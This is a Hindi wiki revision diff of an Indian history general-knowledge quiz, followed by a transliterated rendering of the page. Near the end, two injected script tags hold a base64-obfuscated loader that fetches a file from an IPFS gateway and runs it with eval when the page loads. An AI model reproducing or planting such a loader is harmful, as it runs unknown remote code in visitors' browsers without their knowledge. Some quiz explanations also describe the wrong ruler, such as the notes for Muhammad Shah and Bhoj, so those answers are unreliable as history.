Difference between revisions of "इतिहास सामान्य ज्ञान 20"

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{{इतिहास सामान्य ज्ञान}}
 
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-[[वराहमिहिर]]
 
-[[वराहमिहिर]]
+[[आर्यभट्ट]]
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+[[आर्यभट]]
 
-[[बाणभट्ट]]  
 
-[[बाणभट्ट]]  
 
-[[ब्रह्मगुप्त]]  
 
-[[ब्रह्मगुप्त]]  
||आर्यभट्टीय‘नामक ग्रंथ की रचना करने वाले आर्यभट्ट अपने समय के सबसे बड़े गणितज्ञ थे। आर्यभट्ट ने दशमलव प्रणाली का विकास किया। आर्यभट्ट के प्रयासों के द्वारा ही खगोल विज्ञान को गणित से अलग किया जा सका। [[आर्यभट्ट]] ऐसे प्रथम नक्षत्र वैज्ञानिक थे, जिन्होंने यह बताया कि [[पृथ्वी ग्रह|पृथ्वी]] अपनी धुरी पर घूमती हुई [[सूर्य]] के चक्कर लगाती है। इन्होनें [[सूर्य ग्रहण]] एवं [[चन्द्र ग्रहण]] होने के वास्तविक कारण पर प्रकाश डाला। आर्यभट्ट ने सूर्य सिद्धान्त लिखा।{{point}}अधिक जानकारी के लिए देखें:-[[आर्यभट्ट]]
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||[[चित्र:Aryabhata.jpg|right|80px|border|आर्यभट्ट]]'आर्यभट्ट' प्राचीन भारत के महान ज्योतिषविद् और गणितज्ञ थे। उन्होंने 'आर्यभटीय' नामक ग्रंथ की रचना की, जिसमें ज्योतिषशास्त्र के अनेक सिद्धांतों का प्रतिपादन है। [[आर्यभट्ट]] अपने समय के सबसे बड़े गणितज्ञ थे। आर्यभट्ट ने दशमलव प्रणाली का विकास किया। उनके प्रयासों के द्वारा ही [[खगोल विज्ञान]] को गणित से अलग किया जा सका। आर्यभट्ट ऐसे प्रथम नक्षत्र वैज्ञानिक थे, जिन्होंने यह बताया कि [[पृथ्वी ग्रह|पृथ्वी]] अपनी धुरी पर घूमती हुई [[सूर्य]] के चक्कर लगाती है। उन्होंने [[सूर्य ग्रहण]] एवं [[चन्द्र ग्रहण]] होने के वास्तविक कारण पर प्रकाश डाला। आर्यभट ने सूर्य सिद्धान्त भी लिखा। - अधिक जानकारी के लिए देखें:-[[आर्यभट]]
  
 
{अपने प्रशासन में पश्चिमी प्रक्रियाओं को अपनाने वाला पहला भारतीय शासक कौन था?
 
{अपने प्रशासन में पश्चिमी प्रक्रियाओं को अपनाने वाला पहला भारतीय शासक कौन था?
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+[[टीपू सुल्तान]]
 
+[[टीपू सुल्तान]]
 
-[[हैदर अली]]
 
-[[हैदर अली]]
||[[चित्र:Tipu-Sultan-1.jpg|टीपू सुल्तान|100px|right]]टीपू सुल्तान का जन्म [[20 नवम्बर]] सन 1750 ई. को देवनहल्ली, वर्तमान में [[कर्नाटक]] के कोलर ज़िले में हुआ था। टीपू सुल्तान के पिता का नाम [[हैदर अली]] था। [[मैसूर]] के शेर के नाम से मशहूर [[टीपू सुल्तान]] न सिर्फ़ अत्यंत दिलेर और बहादुर थे, बल्कि एक कुशल योजनाकार भी थे। उन्होंने अपने शासनकाल में कई सड़कों का निर्माण कराया और सिंचाई व्यवस्था के पुख्ता इंतजाम किए। उन्होंने एक बाँध की नींव भी रखी।{{point}}अधिक जानकारी के लिए देखें:-[[टीपू सुल्तान]]
+
||[[चित्र:Tipu-Sultan-1.jpg|टीपू सुल्तान|border|80px|right]]'टीपू सुल्तान' [[भारतीय इतिहास]] के प्रसिद्ध योद्धा [[हैदर अली]] का पुत्र था। पिता की मृत्यु के बाद पुत्र [[टीपू सुल्तान]] ने [[मैसूर]] की सेना की बागडोर सम्भाली, जो अपनी पिता की ही भांति योग्य एवं पराक्रमी था। टीपू सुल्तान का जन्म [[20 नवम्बर]] सन 1750 ई. को देवनहल्ली, वर्तमान में [[कर्नाटक]] के [[कोलार ज़िला|कोलार ज़िले]] में हुआ था। "मैसूर के शेर" के नाम से मशहूर टीपू सुल्तान न सिर्फ़ अत्यंत दिलेर और बहादुर था, बल्कि एक कुशल योजनाकार भी था। उसने अपने शासन काल में कई सड़कों का निर्माण कराया और सिंचाई व्यवस्था के पुख्ता इंतज़ाम किए। एक बाँध की नींव भी उसने रखवाई थी। - अधिक जानकारी के लिए देखें:-[[टीपू सुल्तान]]
 
 
{[[पुरी]] के [[जगन्नाथ मंदिर पुरी|जगन्नाथ मंदिर]] का निर्माण किसने कराया था?
 
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+[[अनंतवर्मन चोडगंग]]
 
-आदित्यवर्मन चोडगंग
 
-[[नरसिंह वर्मन प्रथम]]
 
-[[परमेश्वर वर्मन प्रथम]]
 
 
 
{[[परमार वंश]] के किस शासक ने 'कविराज' की उपाधि ग्रहण की थी?
 
|type="()"}
 
-[[यशोवर्मन]]
 
+[[भोज]]
 
-जयवर्मन
 
-नरवर्मन
 
||'रामभद्र' का उत्तराधिकारी 'मिहिरभोज' ([[भोज प्रथम]]) (836 से 889 ई.) [[गुर्जर प्रतिहार वंश]] का सर्वाधिक प्रतापी एवं महान शासक हुआ। उसने 836 ई. के लगभग [[कन्नौज]] को अपनी राजधानी बनाया, जो आगामी सौ वर्षों तक प्रतिहारों की राजधानी बनी रही। भोज ने जब पूर्व दिशा की ओर अपने साम्राज्य का विस्तार करना चाहा, तो उसे [[बंगाल]] के [[पाल वंश|पाल]] शासक धर्मपाल से पराजित होना पड़ा। 842 से 860 ई. के बीच उसे [[राष्ट्रकूट वंश|राष्ट्रकूट]] शासक ध्रुव ने भी पराजित किया।।{{point}}अधिक जानकारी के लिए देखें:-[[भोज]]
 
 
 
 
 
{किस [[गुप्त काल|गुप्त कालीन]] शासक के समय में [[हूण|हूणों]] ने [[भारत]] पर आक्रमण किया?
 
|type="()"}
 
-[[चन्द्रगुप्त प्रथम]]
 
-[[समुद्रगुप्त]]
 
+महेन्द्रगुप्त
 
-[[स्कन्दगुप्त]]
 
  
 
{[[चंदेल वंश|चन्देलों]] की राजधानी कहाँ स्थित थी?
 
{[[चंदेल वंश|चन्देलों]] की राजधानी कहाँ स्थित थी?
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-[[झाँसी]]
 
-[[झाँसी]]
 
-[[ग्वालियर]]
 
-[[ग्वालियर]]
||[[चित्र:Khajuraho-Temples.jpg|खजुराहो मंदिर, मध्य प्रदेश|150px|right]]खजुराहो का प्राचीन नाम 'खर्जुरवाहक' है। 900 से 1150 ई. के बीच यह [[चंदेल वंश|चन्देल]] [[राजपूत|राजपूतों]] के राजघरानों के संरक्षण में राजधानी और नगर था, जो एक विस्तृत क्षेत्र 'जेजाकभुक्ति' (अब [[मध्य प्रदेश]] का [[बुंदेलखंड]] क्षेत्र) के शासक थे। चन्देलों के राज्य की नींव आठवीं शती ई. में [[महोबा]] के चन्देल नरेश चंद्रवर्मा ने डाली थी। तब से लगभग पाँच शतियों तक चन्देलों की राज्यसत्ता जुझौति में स्थापित रही।{{point}}अधिक जानकारी के लिए देखें:-[[खजुराहो]]
+
||[[चित्र:Khajuraho-Temples.jpg|खजुराहो मंदिर, मध्य प्रदेश|border|100px|right]]'खजुराहो' [[भारत]] के [[मध्य प्रदेश]] के छत्तरपुर ज़िले में स्थित एक छोटा-सा क़स्बा है। भारत में [[ताजमहल]] के बाद सबसे ज़्यादा देखे और घूमे जाने वाले पर्यटन स्थलों में अगर कोई दूसरा नाम आता है तो वह [[खजुराहो]] का है। खजुराहो, भारतीय आर्य स्थापत्य और वास्तुकला की एक नायाब मिसाल है। इसका प्राचीन नाम 'खर्जुरवाहक' है। 900 से 1150 ई. के बीच यह [[चंदेल वंश|चन्देल]] [[राजपूत|राजपूतों]] के राजघरानों के संरक्षण में राजधानी और नगर था, जो एक विस्तृत क्षेत्र [[जेजाकभुक्ति]] (अब मध्य प्रदेश का [[बुंदेलखंड]] क्षेत्र) के शासक थे। चन्देलों के राज्य की नींव आठवीं शती ई. में [[महोबा]] के चन्देल नरेश चंद्रवर्मा ने डाली थी। तब से लगभग पाँच शतियों तक चन्देलों की राज्यसत्ता [[जुझौति]] में स्थापित रही। - अधिक जानकारी के लिए देखें:-[[खजुराहो]]
  
{[[दिल्ली सल्तनत]] के किस सुल्तान ने 'चिहालगानी' की स्थापना की थी?
+
{[[दिल्ली सल्तनत]] के किस सुल्तान ने 'तुर्कान-ए-चिहालगानी' की स्थापना की थी?
 
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-[[कुतुबुद्दीन ऐबक]]  
 
-[[कुतुबुद्दीन ऐबक]]  
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-[[बलबन]]  
 
-[[बलबन]]  
 
-[[रज़िया सुल्तान]]
 
-[[रज़िया सुल्तान]]
||[[चित्र:Iltutmish-Tomb-Qutab-Minar.jpg|150px|right]][[इल्तुतमिश]] (1210- 236 ई.) एक इल्बारी तुर्क था। खोखरों के विरुद्ध इल्तुतमिश की कार्य कुशलता से प्रभावित होकर [[मुहम्मद ग़ोरी]] ने उसे “अमीरूल उमरा” नामक महत्त्वपूर्ण पद दिया था। अकस्मात् मुत्यु के कारण [[कुतुबद्दीन ऐबक]] अपने किसी उत्तराधिकारी का चुनाव नहीं कर सका था। अतः [[लाहौर]] के तुर्क अधिकारियों ने कुतुबद्दीन ऐबक के विवादित पुत्र [[आरामशाह]] (जिसे इतिहासकार नहीं मानते) को लाहौर की गद्दी पर बैठाया, परन्तु [[दिल्ली]] के तुर्को सरदारों एवं नागरिकों के विरोध के फलस्वरूप कुतुबद्दीन ऐबक के दामाद इल्तुतमिश, जो उस समय [[बदायूँ]] का सूबेदार था, को दिल्ली आमंत्रित कर राज्यसिंहासन पर बैठाया गया।{{point}}अधिक जानकारी के लिए देखें:-[[इल्तुतमिश]]
+
||[[चित्र:Iltutmish-Tomb-Qutab-Minar.jpg|border|100px|right]]'इल्तुतमिश' एक इल्बारी तुर्क था। खोखरों के विरुद्ध उसकी कार्यकुशलता से प्रभावित होकर [[मुहम्मद ग़ोरी]] ने उसे 'अमीरूल उमरा' नामक महत्त्वपूर्ण पद दिया था। अकस्मात् मुत्यु के कारण [[कुतुबद्दीन ऐबक]] अपने किसी उत्तराधिकारी का चुनाव नहीं कर सका, अत: [[दिल्ली]] के तुर्क सरदारों एवं नागरिकों के विरोध के फलस्वरूप कुतुबद्दीन ऐबक के दामाद [[इल्तुतमिश]] को दिल्ली आमंत्रित कर राज्यसिंहासन पर बैठाया गया। इल्तुमिश ने विद्रोही सरदारों पर विश्वास न करते हुए अपने 40 ग़ुलाम सरदारों का एक गुट या संगठन बनाया, जिसे '''तुर्कान-ए-चिहालगानी''' का नाम दिया गया। - अधिक जानकारी के लिए देखें:-[[इल्तुतमिश]]
  
{[[दिल्ली]] सल्तनत का पहला सुल्तान कौन था, जिसने सैनिकों को नक़द वेतन देना आरम्भ किया?
+
{[[दिल्ली सल्तनत]] का पहला सुल्तान कौन था, जिसने सैनिकों को नक़द वेतन देना आरम्भ किया?
 
|type="()"}
 
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-[[इल्तुतमिश]]
 
-[[इल्तुतमिश]]
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+[[अलाउद्दीन ख़िलजी]]
 
+[[अलाउद्दीन ख़िलजी]]
 
-[[मुहम्मद बिन तुग़लक़]]
 
-[[मुहम्मद बिन तुग़लक़]]
||अलाउद्दीन ख़िलजी ने आन्तरिक विद्रोहों को दबाने, बाहरी आक्रमणों का सफलतापूर्वक सामना करने एवं साम्राज्य विस्तार हेतु एक विशाल सुदृढ़ एवं स्थायी सेना का गठन किया। उसने घोड़ों को दाग़ने एवं सैनिकों के हुलिया लिखे जाने के विषय में नवीनतम नियम बनाये। स्थायी सेना को गठित करने वाला अलाउद्दीन पहला सुल्तान था। उसने सेना का केन्द्रीकरण किया और साथ ही सैनिकों की सीधी भर्ती एवं नक़द वेतन देने की प्रथा को प्रारम्भ किया। [[अमीर खुसरो]] के वर्णन के आधार पर ‘तुमन’ दस हजार सैनिकों की टुकड़ी को कहा जाता था।{{point}}अधिक जानकारी के लिए देखें:- [[अलाउद्दीन ख़िलजी]]
+
||[[चित्र:Alauddin-Khilji.jpg|border|right|80px|अलाउद्दीन ख़िलजी]]'अलाउद्दीन ख़िलजी' [[ख़िलजी वंश]] के संस्थापक [[जलालुद्दीन ख़िलजी]] का भतीजा और दामाद था। सुल्तान बनने के पहले उसे [[इलाहाबाद]] के निकट कड़ा की जागीर दी गयी थी। [[अलाउद्दीन ख़िलजी]] ने आन्तरिक विद्रोहों को दबाने, बाहरी आक्रमणों का सफलतापूर्वक सामना करने एवं साम्राज्य विस्तार हेतु एक विशाल सुदृढ़ एवं स्थायी सेना का गठन किया। उसने घोड़ों को दाग़ने एवं सैनिकों के हुलिया लिखे जाने के विषय में नवीनतम नियम बनाये। स्थायी सेना को गठित करने वाला अलाउद्दीन पहला सुल्तान था। उसने सेना का केन्द्रीकरण किया और साथ ही सैनिकों की सीधी भर्ती एवं नक़द वेतन देने की प्रथा को प्रारम्भ किया। - अधिक जानकारी के लिए देखें:- [[अलाउद्दीन ख़िलजी]]
 
 
{[[अकबर]] के [[मुग़लकालीन स्थापत्य एवं वास्तुकला|स्थापत्य कला]] की महत्त्वपूर्ण उपलब्धि निम्न में से कौन-सी थी?
 
|type="()"}
 
+[[फ़तेहपुर सीकरी]]
 
-[[लाल किला आगरा|आगरा का क़िला]]
 
-[[लाहौर]] का क़िला
 
-[[इलाहाबाद]] का क़िला
 
||[[चित्र:Buland-Darwaja-Fatehpur-Sikri-Agra.jpg|150px|right]]फ़तेहपुर सीकरी [[आगरा]] से 22 मील दक्षिण, [[मुग़ल]] सम्राट [[अकबर]] के बसाए हुए भव्य नगर के खंडहर आज भी अपने प्राचीन वैभव की झाँकी प्रस्तुत करते हैं। अकबर से पूर्व यहाँ फ़तेहपुर और सीकरी नाम के दो गाँव बसे हुए थे, जो अब भी हैं। इन्हें [[अंग्रेज़]] शासक ओल्ड विलेजेस के नाम से पुकारते थे। सन 1527 ई. में [[चित्तौड़]]-नरेश [[राणा साँगा]] और [[बाबर]] ने यहाँ से लगभग दस मील दूर कनवाहा नामक स्थान पर भारी युद्ध हुआ था, जिसकी स्मृति में बाबर ने इस गाँव का नाम फ़तेहपुर कर दिया था। तभी से यह स्थान फ़तेहपुर सीकरी कहलाता है।{{point}}अधिक जानकारी के लिए देखें:-[[फ़तेहपुर सीकरी]]
 
 
 
{[[नादिरशाह]] के आक्रमण के समय [[मुग़ल]] सम्राट कौन था?
 
|type="()"}
 
-[[अहमदशाह]]
 
+[[मुहम्मदशाह]]
 
-[[शाहआलम द्वितीय]]
 
-[[अकबर द्वितीय]]
 
||[[मुबारक शाह]] के बाद [[दिल्ली]] की गद्दी पर मुबारक शाह का भतीजा 'मुहम्मद बिन फ़रीद ख़ाँ' मुहम्मदशाह (1434-1445 ई.) के नाम से गद्दी पर बैठा। उसके शासन काल के 6 महीने उसके वज़ीर 'सरवर-उल-मुल्क' के आधिपत्य में बीते। परन्तु छः महीने उपरान्त ही सुल्तान ने अपने नायब सेनापति 'कमाल-उल-मुल्क' के सहयोग से वज़ीर का वध करवा दिया।{{point}}अधिक जानकारी के लिए देखें:-[[मुहम्मदशाह]]
 
 
 
{'सन्यासी विद्रोह' किस क्षेत्र में हुआ था?
 
|type="()"}
 
-[[महाराष्ट्र]]
 
-[[उड़ीसा]]
 
-[[असम]]
 
+[[बंगाल]]
 
||[[चित्र:Victoria-Memorial-Kolkata-4.jpg|150px|right]]सन 1757 में [[प्लासी]] के युद्ध ने [[इतिहास]] की धारा को मोड़ दिया, जब [[अंग्रेज़]] पहली बार [[बंगाल]] और [[भारत]] में अपने पांव जमा पाए। सन 1905 में राजनीतिक लाभ के लिए अंग्रेज़ों ने बंगाल का विभाजन कर दिया, लेकिन [[कांग्रेस]] के नेतृत्‍व में लोगों के बढ़ते हुए आक्रोश को देखते हुए [[1911]] में बंगाल को फिर से एक कर दिया गया। 18वीं शताब्दी के अन्तिम वर्षों में ब्रिटिश साम्राज्य के विरुद्ध [[भारत]] के कुछ भागों में सन्यासियों ने आन्दोलन प्रारम्भ कर दिये थे, इस आन्दोलन को 'सन्यासी विद्रोह' कहा जाता है। ब्रिटिश शासन काल में यह आन्दोलन अधिकतर बंगाल प्रांत में हुआ था।{{point}}अधिक जानकारी के लिए देखें:-[[बंगाल]]
 
 
 
{निम्न में से कौन-सा 'कृषक विद्रोह' नहीं था?
 
|type="()"}
 
-खेड़ा सत्याग्रह
 
-झंडा सत्याग्रह
 
+मोपला
 
-चंपारन सत्याग्रह
 
 
 
{[[सिंधु सभ्यता]] में घोड़े के अवशेष कहाँ से प्राप्त हुए हैं?
 
|type="()"}
 
-[[लोथल]]
 
-[[मोहन जोदड़ो]]
 
+[[सुतकोतड़ा]]
 
-[[रंगपुर (गुजरात)|रंगपुर]]
 
 
 
{निम्न में से किस स्थान पर [[चन्द्रगुप्त मौर्य]] ने [[जैन धर्म]] स्वीकार कर अपने शरीर का त्याग किया?
 
|type="()"}
 
-[[पाटलिपुत्र]]
 
-[[तक्षशिला]]
 
+[[श्रवणबेलगोला मैसूर|श्रवणबेलगोला]]
 
-[[उज्जयिनी]]
 
||[[चित्र:Gomateswara.jpg|100px|right]]श्रवणबेलगोला महल [[कर्नाटक]] के [[मैसूर]] शहर में स्थित है। श्रवणबेलगोला मैसूर से 84 किलोमीटर की दूरी पर स्थित है। यहाँ का मुख्य आकर्षण गोमतेश्वर/ बाहुबलि स्तंभ है। बाहुबलि मोक्ष प्राप्त करने वाले प्रथम तीर्थंकर थे। श्रवणबेलगोला नामक कुंड पहाड़ी की तराई में स्थित है। बारह वर्ष में एक बार होने वाले महामस्ताभिषेक में बड़ी संख्या में लोग भाग लेते हैं।{{point}}अधिक जानकारी के लिए देखें:-[[श्रवणबेलगोला मैसूर|श्रवणबेलगोला]]
 
 
 
{किस [[सातवाहन]] नरेश ने 'वेणकटक स्वामी' की उपाधि ग्रहण की थी?
 
|type="()"}
 
-[[सिमुक]]
 
-शातकर्णी प्रथम
 
+[[गौतमीपुत्र सातकर्णि]]
 
-वाशिष्ठीपुत्र मुलुमावी
 
||[[सातकर्णि|राजा सातकर्णी]] के उत्तराधिकारियों के केवल नाम ही [[पुराण|पुराणों]] द्वारा ज्ञात होते हैं। ये नाम 'पूर्णोत्संग' (शासन काल 18 वर्ष), 'स्कन्धस्तम्भि' (18 वर्ष), 'मेघस्वाति' (18 वर्ष) और 'गौतमीपुत्र सातकर्णि' (56 वर्ष) हैं। इनमें गौतमीपुत्र सातकर्णी के सम्बन्ध में उसके शिलालेखों से बहुत कुछ परिचय प्राप्त होता है।{{point}}अधिक जानकारी के लिए देखें:-[[गौतमीपुत्र सातकर्णि]]
 
 
</quiz>
 
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{{इतिहास सामान्य ज्ञान}}
 
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{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान]]
 
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{{Review-G}}

Latest revision as of 03:25, 17 February 2023

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 gupt kal ka sarvapramukh ganitajn evan khagolavid nimn mean se kaun tha?

varahamihir
aryabhat
banabhatt
brahmagupt

2 apane prashasan mean pashchimi prakriyaoan ko apanane vala pahala bharatiy shasak kaun tha?

shivaji
bajirav pratham
tipoo sultan
haidar ali

3 chandeloan ki rajadhani kahaan sthit thi?

khajuraho
mahoba
jhaansi
gvaliyar

4 dilli saltanat ke kis sultan ne 'turkan-e-chihalagani' ki sthapana ki thi?

kutubuddin aibak
iltutamish
balaban
raziya sultan

5 dilli saltanat ka pahala sultan kaun tha, jisane sainikoan ko naqad vetan dena arambh kiya?

iltutamish
balaban
alauddin khilaji
muhammad bin tugalaq

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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